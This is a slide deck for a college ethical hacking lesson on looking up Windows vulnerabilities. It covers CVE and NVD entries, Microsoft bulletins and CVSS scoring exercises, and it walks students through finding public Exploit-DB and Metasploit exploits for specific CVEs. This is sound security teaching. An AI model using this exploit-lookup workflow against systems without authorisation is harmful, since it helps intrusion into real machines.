
CIS 76 - Lesson 10

 Slides and lab posted
 WB converted from PowerPoint
 Print out agenda slide and annotate page numbers

 Flash cards 
 Properties  
 Page numbers  
 1st minute quiz  
 Web Calendar summary   
 Web book pages  
 Commands  

 Real test enabled on Canvas
 Test accommodations made
 Lab 8 tested and published

 Backup slides, whiteboard slides, CCC info, handouts on flash drive 
 Spare 9v battery for mic
 Key card for classroom door

 Update CCC Confer and 3C Media portals

1

Rich's lesson module checklist

Last updated 11/7/2017
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CIS 76
Ethical Hacking
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TCP/IP

Enumeration

Port Scanning

Evading Network 
Devices

Hacking 
Web Servers

Hacking Wireless 
Networks

Scripting and 
Programming

Footprinting and 
Social Engineering

Network and 
Computer Attacks

Cryptography

Embedded Operating 
Systems

Student Learner Outcomes
1.Defend a computer and a LAN against a variety of different types of 

security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 
security attacks using a number of hands-on techniques.

Desktop and Server 
Vulnerabilities
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Introductions and Credits
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And thanks to:
• Steven Bolt at for his WASTC EH training.
• Kevin Vaccaro for his CSSIA EH training and Netlab+ pods. 
• EC-Council for their online self-paced CEH v9 course.
• Sam Bowne for his WASTC seminars, textbook recommendation and fantastic 

EH website (https://samsclass.info/).
• Lisa Bock for her great lynda.com EH course.
• John Govsky for many teaching best practices: e.g. the First Minute quizzes, 

the online forum, and the point grading system (http://teacherjohn.com/).
• Google for everything else!

Rich Simms 
• HP Alumnus.
• Started teaching in 2008 when Jim Griffin went on 

sabbatical.
• Rich’s site: http://simms-teach.com
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Student checklist for attending class 

1. Browse to: 
http://simms-teach.com

2. Click the CIS 76 link.
3. Click the Calendar link.
4. Locate today’s lesson.
5. Find the Presentation slides for 

the lesson and download for 
easier viewing.

6. Click the Enter virtual classroom
link to join CCC Confer. 

7. Log into Opus-II with Putty or ssh
command.

Note:  Blackboard Collaborate Launcher only 
needs to be installed once.  It has already 
been downloaded and installed on the 
classroom PC’s.
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 Downloaded PDF of Lesson Slides Google  CCC Confer

 CIS 76 website Calendar page
 One or more login 

sessions to Opus

Student checklist for suggested screen layout
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2) Click overlapping rectangles 
icon.  If  white "Start Sharing" text 
is present then click it as well.

3) Click OK button.

4) Select "Share desktop" 
and click Share button.

1) Instructor gives you sharing privileges.

Student checklist for sharing desktop with classmates
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[ ] Preload White Board

[ ] Connect session to Teleconference

[ ] Is recording on?

[ ] Use teleconferencing, not mic

7

Session now connected 
to teleconference

Should be grayed out

Red dot means recording

Should change 
from phone 
handset icon to 
little Microphone 
icon and the 
Teleconferencing … 
message displayed

Rich's CCC Confer checklist - setup
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8[ ] layout and share apps

foxit for slides chrome

putty
vSphere Client

Rich's CCC Confer checklist - screen layout
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[ ] Video (webcam) 

[ ] Make Video Follow Moderator Focus

Rich's CCC Confer checklist - webcam setup
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Run and share the Image Mate 
program just as you would any other 
app with CCC Confer

Elmo rotated down to view side table

Elmo rotated up to view white board

The "rotate image" 
button is necessary 
if you use both the 
side table and the 
white board.  

Quite interesting 
that they consider 
you to be an 
"expert" in order to 
use this button!

Rotate
image 
button

Rotate
image 
button

Rich's CCC Confer checklist - Elmo
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Universal Fix for CCC Confer:
1) Shrink (500 MB) and delete Java cache
2) Uninstall and reinstall latest Java runtime
3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons) 500MB cache sizeGeneral Tab > Settings… Delete these

Google Java download

Rich's CCC Confer checklist - universal fixes
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Start
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Sound Check
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Students that dial-in should mute their line 
using *6 to prevent unintended noises 
distracting the web conference.

Instructor can use *96 to mute all student lines.

Volume
*4 - increase conference volume.
*7 - decrease conference volume.
*5 - increase your voice volume.
*8 - decrease your voice volume.
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Instructor:  Rich Simms
Dial-in: 888-886-3951 
Passcode: 136690

Miguel

Chris CameronTanner

Karl-Heinz

Tre

May

Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit

Sam B.

Ryan M.

GarrettBruce

XuHelen

Philip

Remy

Sam R. Ryan A.

Aga Karina Mariano

Bobby
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Please answer these questions in the order 
shown:

15

For credit email answers to:  

risimms@cabrillo.edu

within the first few minutes of class

First Minute Quiz
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Objectives Agenda

• Learn how to browse, search and get 

information on specific vulnerabilities

• Learn how to find exploits for specific 

vulnerabilities

• Questions

• In the news

• Best practices

• CVE Database

• MS Security Bulletins

• CVSS v3

• CVSS v2

• CVS Details and Metasploit

• CVE-2008-0038

• Windows OS vulnerabilities

• ADS (Alternate Data Streams)

• Assignment

• Wrap up

Desktop and Server OS Vulnerabilities

16
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Admonition
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Shared from cis76-newModules.pptx
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Unauthorized hacking is a crime.

The hacking methods and activities 
learned in this course can result in prison 
terms, large fines and lawsuits if used in 
an unethical manner. They may only be 

used in a lawful manner on equipment you 
own or where you have explicit permission 

from the owner.

Students that engage in any unethical, 
unauthorized or illegal hacking may be 

dropped from the course and will receive 
no legal protection or help from the 

instructor or the college.
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Questions

19
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Questions?

Lesson material?

Labs?    Tests?

How this course works?

20

Chinese 
Proverb

他問一個問題，五分鐘是個傻子，他不問一個問題仍然是一個
傻瓜永遠。

He who asks a question is a fool for five minutes; he who does not ask a question 
remains a fool forever.   

If you don't ask, you don't get.
- Mahatma Gandhi

Who questions much, shall learn 
much, and retain much.

- Francis Bacon 
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In the 
news

21
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Recent news

Google Patches 'High Severity' browser bug
by Tom Spring October 27, 2017

23

https://threatpost.com/google-patches-
high-severity-browser-bug/128661/

"UPDATE Google is urging users to update 

their Chrome desktop browsers to avoid 

security issues related to a high-severity stack-

based buffer overflow vulnerability. Google 

issued the alert Thursday and said an update 

for most browsers has been released."

"The bug was reported by researcher Yu Zhou, of Ant-Financial Light-Year Security 

Lab on Sept. 30. He was awarded $3,000 for the discovery through Google’s bug 

bounty program."

https://threatpost.com/google-patches-high-severity-browser-bug/128661/
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Recent news

Bad Rabbit Ransomware Uses Leaked 'EternalRomance' NSA 
Exploit to Spread
by Mohit Kumar October 26, 2017

24

https://thehackernews.com/2017/10/bad-
rabbit-ransomware.html

"A new widespread ransomware worm, 

known as "Bad Rabbit," that hit over 200 

major organisations, primarily in Russia 

and Ukraine this week leverages a stolen 

NSA exploit released by the Shadow 

Brokers this April to spread across victims' 

networks."

"EternalRomance is a remote code execution exploit that takes advantage of a flaw 

(CVE-2017-0145) in Microsoft's Windows Server Message Block (SMB), a protocol 

for transferring data between connected Windows computers, to bypass security over 

file-sharing connections, thereby enabling remote code execution on Windows clients 

and servers."

https://thehackernews.com/2017/10/bad-rabbit-ransomware.html
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Recent news

Hacker Hijacks CoinHive's DNS to Mine Cryptocurrency Using 
Thousands of Websites
by Mohit Kumar October 24, 2017

25

https://thehackernews.com/2017/10/coin
hive-cryptocurrency-miner.html

"Reportedly an unknown hacker managed 

to hijack Coinhive's CloudFlare account 

that allowed him/her to modify its DNS 

servers and replace Coinhive's official 

JavaScript code embedded into thousands 

of websites with a malicious version."

"As a result, thousands of sites using coinhive script were tricked for at least six hours 

into loading a modified code that mined Monero cryptocurrency for the hacker rather 

than the actual site owners."

https://thehackernews.com/2017/10/coinhive-cryptocurrency-miner.html
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Recent news

When Scanners Attack
Posted by Martin Zinaich on July 30, 2017

26

http://itsecurity.co.uk/2017/07/when-
scanners-attack/

"Recently I was tracking down WannaCry

attack traffic coming loud and strong 

from an IP address that I soon associated 

to an HP Scanner. Yes, a scanner… but a 

scanner that utilizes Windows POS. I now 

have to worry about large format 

scanners. Tomorrow it will be light bulbs, 

door locks and the candy machine."

http://itsecurity.co.uk/2017/07/when-scanners-attack/
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Best 
Practices

27



CIS 76 - Lesson 10

40

How to Protect Yourself from Ransomware Attacks?

"In order to protect yourself from Bad Rabbit, users are advised to disable WMI 

service to prevent the malware from spreading over your network."

"Also, make sure to update your systems regularly and keep a good and 

effective anti-virus security suite on your system."

"Since most ransomware spread through phishing emails, malicious adverts on 

websites, and third-party apps and programs, you should always exercise 

caution before falling for any of these."

"Most importantly, to always have a tight grip on your valuable data, keep a 

good backup routine in place that makes and saves copies of your files to an 

external storage device that isn't always connected to your PC."

Mohit Kumar
Entrepreneur, Hacker, Speaker, Founder and CEO — The Hacker News and The Hackers Conference.

https://thehackernews.com/2017/10/bad-rabbit-ransomware.html#

https://thehackernews.com/2017/10/bad-rabbit-ransomware.html
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WMI (Windows Management Instrumentation) Service
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42https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report

https://www.microsoft.com/security/sir/default.aspx
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43https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Attacks

https://www.microsoft.com/security/sir/default.aspx
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44http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-
B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf

Microsoft Security Assessment Report
Attacks

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf
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45http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-
B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf

Microsoft Security Assessment Report
Attacks

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf
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46https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Attacks

https://www.microsoft.com/security/sir/default.aspx
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47https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Attacks

https://www.microsoft.com/security/sir/default.aspx
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48https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Attacks

https://www.microsoft.com/security/sir/default.aspx
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49http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-
B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf

Microsoft Security Assessment Report
Drive-by-Downloads

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf
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50https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Drive-by-Downloads

https://www.microsoft.com/security/sir/default.aspx
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51http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-
B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf

Microsoft Security Assessment Report
Drive-by-Downloads

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf
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52https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Drive-by-Downloads

https://www.microsoft.com/security/sir/default.aspx
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53https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Malware Encounters

https://www.microsoft.com/security/sir/default.aspx
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54https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Malware Encounters

https://www.microsoft.com/security/sir/default.aspx
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55https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Malware Encounters

https://www.microsoft.com/security/sir/default.aspx
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Microsoft Security Assessment Report
Malware Encounters

https://www.microsoft.com/security/sir/default.aspx
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57https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Exploit Kits

https://www.microsoft.com/security/sir/default.aspx
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58https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Exploit Kits

https://www.microsoft.com/security/sir/default.aspx
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59https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Exploit Kits

Eternal Blue

https://www.microsoft.com/security/sir/default.aspx
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60https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Ransomware

https://www.microsoft.com/security/sir/default.aspx
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61https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Ransomware

https://www.microsoft.com/security/sir/default.aspx
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62https://www.microsoft.com/security/sir/default.aspx

Microsoft Security Assessment Report
Ransomware

https://www.microsoft.com/security/sir/default.aspx
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63http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-
B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf

Microsoft Security Assessment Report
Ransomware

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf
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B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf

Microsoft Security Assessment Report

http://download.microsoft.com/download/4/E/F/4EFA4D41-EF9A-4B5A-B638-2AC564D210F2/Security_Intelligence_Report_Infographic_EN_US.pdf
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Housekeeping

65
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Housekeeping

1. No labs due today!

2. Lab 8 due next week.

3. Practice test will shut down shortly before the real test 
starts.

4. Test 2 during the last hour of class today
• Canvas - timed test - 60 minutes
• OPEN book, notes, computer
• CLOSED mouths (work solo, don't ask for or give 

assistance to others)
• Working students may take the test later in the day but it 

must be submitted by 11:59PM

5. First draft of Final Project on Calendar page (60 points + 30 
extra credit)

6. More extra credit labs posted (see Lesson 8) 66
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The final project specifications 
are now available.  

The final project is due on the 
Lesson 15 day.

https://simms-
teach.com/docs/cis76/cis76final-
project.pdf

https://simms-teach.com/docs/cis76/cis76final-project.pdf
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Heads up on Final Exam

Test #3 (final exam) is TUESDAY Dec 12 4-6:50PM

68

• All students will take the test at the same time. The test must be 
completed by 6:50PM.

• Working and long distance students can take the test online via 
CCC Confer and Canvas.

• Working students will need to plan ahead to arrange time off from 
work for the test.

• Test #3 is mandatory (even if you have all the points you want)

Extra credit 
labs and 
final posts 
due by 
11:59PM

Tue
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Where to find your grades

70

Send me your survey to get your LOR code name. 

http://simms-teach.com/cis76grades.php

Or check on Opus

checkgrades codename
(where codename is your LOR codename)

Written by Jesse Warren a past CIS 90 Alumnus

At the end of the term I'll add up all 
your points and assign you a grade 
using this table

The CIS 76 website Grades page

Points that could have been earned:
7 quizzes: 21 points
7 labs: 210 points
1 test: 30 points
2 forum quarters: 40 points
Total: 301 points

Update your path in .bash_profile to run checkgrades
PATH=$PATH:/home/cis76/bin
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Microsoft Academic Webstore

• Microsoft software for 
students registered in a 
CIS or CS class at 
Cabrillo

• Available after 
registration is final (two 
weeks after first class)

• Click "All" on left panel 
to make sure you don't 
miss anything.

• Azure is available to 
students as well. 

71
To get to this page, go to http://simms-teach.com/resources and 
click on the appropriate link in the Tools and Software section
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VMware Academic Webstore

• VMware software for 
students registered in 
a CIS or CS class at 
Cabrillo

• Available after 
registration is final 
(two weeks after first 
class)

• Sphere 6.5 Enterprise 
now available

72
To get to this page, go to http://simms-teach.com/resources and 
click on the appropriate link in the Tools and Software section
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Vulnerabilities

CVE

Database
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CVE Database

https://cve.mitre.org/cve/cve.html

https://cve.mitre.org/cve/cve.html
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https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=windows+10

CVE Database

List of all Windows 10 
vulnerabilities

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=windows+10
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7211

CVE Database

Let's follow this 
reference to the 
Microsoft Security 
Bulletin

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7211
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79

Vulnerabilities
Microsoft
Security 
Bulletins



CIS 76 - Lesson 10

https://technet.microsoft.com/library/security/ms16-123

Microsoft Security Bulletin

Starts with an 
executive  summary

Overall 
severity 
rating

https://technet.microsoft.com/library/security/ms16-123
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Lookup: Microsoft Security Bulletin MS17-010

What is the severity rating?
Put your answer in the chat window

Microsoft Security Bulletin Severity Ratings

Severity Ratings

Critical. The highest severity assessment. Critical updates are so important to your 
organization that, unless you certify them, you will not deploy the updated operating 
system.

Important. Your organization regularly uses Important items, but it can continue 
to function without them. You can choose to deploy the updated operating system 
without requiring certification.

Moderate. The assessment for updates that do not fall into the previous two 
categories, but have enough importance to appear in your ACT compatibility reports. 
You can deploy the updated operating system without requiring certification.

Low. The assessment for updates that are irrelevant to your organization's day-to-
day functioning. You can use this severity assessment to filter out the unimportant 
items from your reports.

Unspecified. The assessment for updates that have not yet been assessed by your 
organization. This is the default value and automatically applied to all updates.
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https://technet.microsoft.com/library/security/ms16-123

Microsoft Security Bulletin

MS16-123 continued.

The next section of the 
bulletin shows which 
versions of Windows 
are impacted

https://technet.microsoft.com/library/security/ms16-123
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https://technet.microsoft.com/library/security/ms16-123

Microsoft Security Bulletin

MS16-123 continued.

More information on the 
related vulnerabilities are 
near the end with links to 
the CVE database.

https://technet.microsoft.com/library/security/ms16-123
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7211

CVE Database
CVE-2016-7211

Let's go back now to the CVE 
Database and follow the link 
to the National Vulnerability 
Database

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7211
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85

Vulnerabilities

National

Vulnerability

Database
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National Vulnerability Database

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211

More details on the 
specific Windows 10 
vulnerability including the 
CVSS scores

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211
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National Vulnerability Database

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211

CVSS scores, note there 
ae two versions

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211
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National Vulnerability Database

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211

What versions are 
impacted

Type of vulnerability

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211
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National Vulnerability Database

http://cwe.mitre.org/data/definitions/264.html

Drilling down to the 
type of vulnerability

http://cwe.mitre.org/data/definitions/264.html
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90

Scoring
CVSS

Rubric v2
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National Vulnerability Database
CVSS Base Score Version 2.0

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211

Click the link to see how 
the score was calculated 
using version 2.0

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211
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https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator?name=CVE-
2016-7211&vector=(AV:L/AC:L/Au:N/C:C/I:C/A:C)

Score = 7.2

The "calculator"

National Vulnerability Database
CVSS Base Score Version 2.0

Note that the impact 
metrics refer to the 
CIA triad.

https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator?name=CVE-2016-7211&vector=(AV:L/AC:L/Au:N/C:C/I:C/A:C)
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https://www.first.org/cvss/v2/guide

CVE Scoring Rubric v2 - Base Score

https://www.first.org/cvss/v2/guide
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https://www.first.org/cvss/v2/guide

CVE Scoring Rubric v2 - Base Score

https://www.first.org/cvss/v2/guide
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https://www.first.org/cvss/v2/guide

CVE Scoring Rubric v2 - Base Score

https://www.first.org/cvss/v2/guide
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https://www.first.org/cvss/v2/guide

CVE Scoring Rubric v2 - Base Score

https://www.first.org/cvss/v2/guide
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https://www.first.org/cvss/v2/guide

CVE Scoring Rubric v2 - Base Score

https://www.first.org/cvss/v2/guide
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https://www.first.org/cvss/v2/guide

CVE Scoring Rubric v2 - Base Score

https://www.first.org/cvss/v2/guide
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https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator

CVE Scoring Rubric v2 - Calculator

Toggle selections here

Score will be shown here

https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator
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CVSS Rubric v2

Use the CVSS v2.0 calculator to calculate the baseline score of this 
hypothetical vulnerability:

• Access vector:  Must be local
• Access complexity:  Specialized access conditions exist
• Authentication:  Single login required
• Confidentiality:  Partial
• Integrity:  None
• Availability:  Complete

Write your baseline score calculation in the chat window

https://nvd.nist.gov/CVSS/v2-calculator

https://nvd.nist.gov/CVSS/v2-calculator
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Scoring 
CVSS

Rubric v3
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https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211

Click the link to see how 
the score was calculated 
using version 3.0

National Vulnerability Database
CVSS Base Score Version 3.0

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7211
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https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2016-
7211&vector=AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

National Vulnerability Database
CVSS Base Score Version 3.0

Score = 7.3

The "calculator"

Note that the impact 
metrics refer to the 
CIA triad.

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2016-7211&vector=AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
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https://www.first.org/cvss/user-guide

CVE Scoring Rubric v3 - Base Score

https://www.first.org/cvss/user-guide
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https://www.first.org/cvss/user-guide

CVE Scoring Rubric v3 - Base Score

https://www.first.org/cvss/user-guide


CIS 76 - Lesson 10

https://www.first.org/cvss/user-guide

CVE Scoring Rubric v3 - Base Score

https://www.first.org/cvss/user-guide
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https://www.first.org/cvss/user-guide

CVE Scoring Rubric v3 - Base Score

https://www.first.org/cvss/user-guide
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https://www.first.org/cvss/user-guide

CVE Scoring Rubric v3 - Base Score

https://www.first.org/cvss/user-guide
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https://www.first.org/cvss/user-guide

CVE Scoring Rubric v3 - Base Score

https://www.first.org/cvss/user-guide
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https://www.first.org/cvss/user-guide

CVE Scoring Rubric v3 - Base Score

https://www.first.org/cvss/user-guide
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https://www.first.org/cvss/user-guide

CVE Scoring Rubric v3 - Base Score

https://www.first.org/cvss/user-guide
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https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

CVE Scoring Rubric v3 - Calculator

Toggle selections here

Score will be shown here

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
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CVSS Rubric v3

Use the CVSS v3.0 calculator to calculate the base score of this 
hypothetical vulnerability:

• Attack vector:  must be on the same subnet as victim
• Attack complexity:  can be easily repeated at any time
• Privileges required:  must be authenticated as a normal user
• User interaction:  no interaction required by victim
• Scope: extends beyond vulnerable component
• Confidentiality:  attacker has full access to data content
• Integrity:  attacker can modify data content
• Availability:  attacker can deny access to data content

Write your CVSS base score calculation in the chat window

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

Older Vulnerabilities
CVE-2008-4250

This was the 
vulnerability we 
looked at in Lesson 1

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
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https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-4250

National Vulnerability Database

Additional details are found 
on the NIST National 
Vulnerability Database 
website including CVSS 
scores, advisories, 
solutions, tools, and version 
information.

You may see version 2.0 or 
version 3.0 CVSS scores

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-4250
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https://nvd.nist.gov/cvss/v2-calculator?name=CVE-2008-4250&vector=(AV:N/AC:L/Au:N/C:C/I:C/A:C)

Common Vulnerability Scoring System (CVSS) v2 

Base score is 10 using the 
older v2 version of the CVSS 
calculator.  The base score is 
composed of Impact and 
Exploitability metrics which 
are also shown.

https://nvd.nist.gov/cvss/v2-calculator?name=CVE-2008-4250&vector=(AV:N/AC:L/Au:N/C:C/I:C/A:C)
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https://nvd.nist.gov/cvss/v2-calculator?name=CVE-2008-4250&vector=(AV:N/AC:L/Au:N/C:C/I:C/A:C)

Common Vulnerability Scoring System (CVSS) v2 

The base score of 10 is 
determined by the calculator 
settings below.

https://nvd.nist.gov/cvss/v2-calculator?name=CVE-2008-4250&vector=(AV:N/AC:L/Au:N/C:C/I:C/A:C)
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https://nvd.nist.gov/cvss/v2-calculator?name=CVE-2008-4250&vector=(AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVE Scoring Rubric v2 - Base Score

https://nvd.nist.gov/cvss/v2-calculator?name=CVE-2008-4250&vector=(AV:N/AC:L/Au:N/C:C/I:C/A:C)
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Vulnerabilities
CVE Details
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CVE Details

http://www.cvedetails.com/

This site provides the 
ability to do searches on 
the vulnerability 
database and generate 
summaries.

http://www.cvedetails.com/
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CVE Details

http://www.cvedetails.com/

Let's look at Windows 
2012 vulnerabilities

http://www.cvedetails.com/
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CVE Details

http://www.cvedetails.com/product/23546/Microsoft-Windows-Server-2012.html?vendor_id=26

This link will bring us to a 
summary of all Windows 
2012 vulnerabilities 

http://www.cvedetails.com/product/23546/Microsoft-Windows-Server-2012.html?vendor_id=26
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CVE Details

http://www.cvedetails.com/google-search-results.php?q=windows+2012

http://www.cvedetails.com/google-search-results.php?q=windows+2012
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CVE Details

http://www.cvedetails.com/product/23546/Microsoft-Windows-Server-2012.html?vendor_id=26

Going back, this link will 
bring us to a list of all 
Windows 2012 
vulnerabilities 

http://www.cvedetails.com/product/23546/Microsoft-Windows-Server-2012.html?vendor_id=26
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CVE Details

https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2015/Microsoft-Windows-Server-2012.html

https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2015/Microsoft-Windows-Server-2012.html
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CVE Details

http://www.cvedetails.com/product/23546/Microsoft-Windows-Server-2012.html?vendor_id=26

Going back, this link will bring 
us to a list of vulnerabilities 
with Metasploit exploits

http://www.cvedetails.com/product/23546/Microsoft-Windows-Server-2012.html?vendor_id=26
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CVE Details

https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2015/Microsoft-Windows-Server-2012.html

https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2015/Microsoft-Windows-Server-2012.html
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Activity

Use CVE Details to find how many "Gain Privileges" 
vulnerabilities there have been in Windows 10.

How many did you find?  Write your answer in the chat window.

http://www.cvedetails.com/ 

http://www.cvedetails.com/
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CVE 
Details

and 
Metasploit
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CVE Details

http://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2013/Microsoft-Windows-Server-2012.html

Going back to the list of 
vulnerabilities there is one 
column that shows the 
number of available exploits

http://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2013/Microsoft-Windows-Server-2012.html


CIS 76 - Lesson 10

131

CVE Details

http://www.cvedetails.com/cve/CVE-2013-1300/

Multiple exploits are available

http://www.cvedetails.com/cve/CVE-2013-1300/


CIS 76 - Lesson 10

132

CVE Details

http://www.cvedetails.com/cve/CVE-2013-1300/

Reference to the Exploit 
Database

http://www.cvedetails.com/cve/CVE-2013-1300/
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Exploit Database

https://www.exploit-db.com/exploits/33213/

On the Exploit Database 
we can view the public 
exploit.

https://www.exploit-db.com/exploits/33213/
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Exploit Database

https://www.exploit-db.com/exploits/33213/

https://www.exploit-db.com/exploits/33213/


CIS 76 - Lesson 10

135

CVE Details

http://www.cvedetails.com/cve/CVE-2013-1300/

Back on the CVE Details 
website there is also a 
link to Metasploit 
exploit

http://www.cvedetails.com/cve/CVE-2013-1300/
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RAPID7

https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei

Name of the Metasploit 
exploit and the authors

https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei
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RAPID7

https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei

Background information on the 
vulnerability and exploit.

https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei
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MWR Labs Reference

https://labs.mwrinfosecurity.com/blog/mwr-labs-pwn2own-2013-write-up-kernel-exploit/

One of the referenced 
websites for getting 
background information 
on how the exploit 
works.

https://labs.mwrinfosecurity.com/blog/mwr-labs-pwn2own-2013-write-up-kernel-exploit/
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RAPID7

https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei

Metasploit instructions 
on how to setup the 
exploit options.

https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei
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Activity

Use CVE Details to find Metasploit exploits for Windows XP 

How many exploits did you find?  Write your answer in the chat window.

http://www.cvedetails.com/ 

http://www.cvedetails.com/
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CVE-2007-0038

(exists on EH-WinXP VM)
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CVE Details

http://www.cvedetails.com/

Start by searching for 
Windows XP vulnerabilities

http://www.cvedetails.com/
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Windows XP Links

http://www.cvedetails.com/google-search-results.php?q=windows+xp&sa=Search

Select the link for the list 
of Metasploit modules

http://www.cvedetails.com/google-search-results.php?q=windows+xp&sa=Search
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Metasploit Modules related to Windows XP (Top)

http://www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.html 

Browse through the 
various exploits

http://www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.html
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http://www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.html 

Metasploit Modules related to Windows XP (Bottom)

Advance to the next page

http://www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.html
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http://www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.html?sha=c4c916fde8dddd928dae665307afc206058a5623&trc=53&page=2

CVE-2007-38 on Page 2

Here is an Internet Explorer 
exploit rated as "Great"

http://www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.html?sha=c4c916fde8dddd928dae665307afc206058a5623&trc=53&page=2
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https://www.rapid7.com/db/modules/exploit/windows/browser/ms07_017_ani_loadimage_chunksize

RAPID7

Here is more 
information on the 
exploit

https://www.rapid7.com/db/modules/exploit/windows/browser/ms07_017_ani_loadimage_chunksize
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http://www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.html?sha=c4c916fde8dddd928dae665307afc206058a5623&trc=53&page=2

RAPID7

Here is information 
on how to use the 
exploit in Metasploit

http://www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.html?sha=c4c916fde8dddd928dae665307afc206058a5623&trc=53&page=2
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EH-Kali-05
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Easy phishing: Set up email templates, landing pages and listeners

in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.12.15-dev                         ]

+ -- --=[ 1563 exploits - 904 auxiliary - 269 post        ]

+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

Applications > 08 - Exploitation Tools > Metasploit

Run Metasploit 
from the desktop 
Application menu
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EH-Kali-05

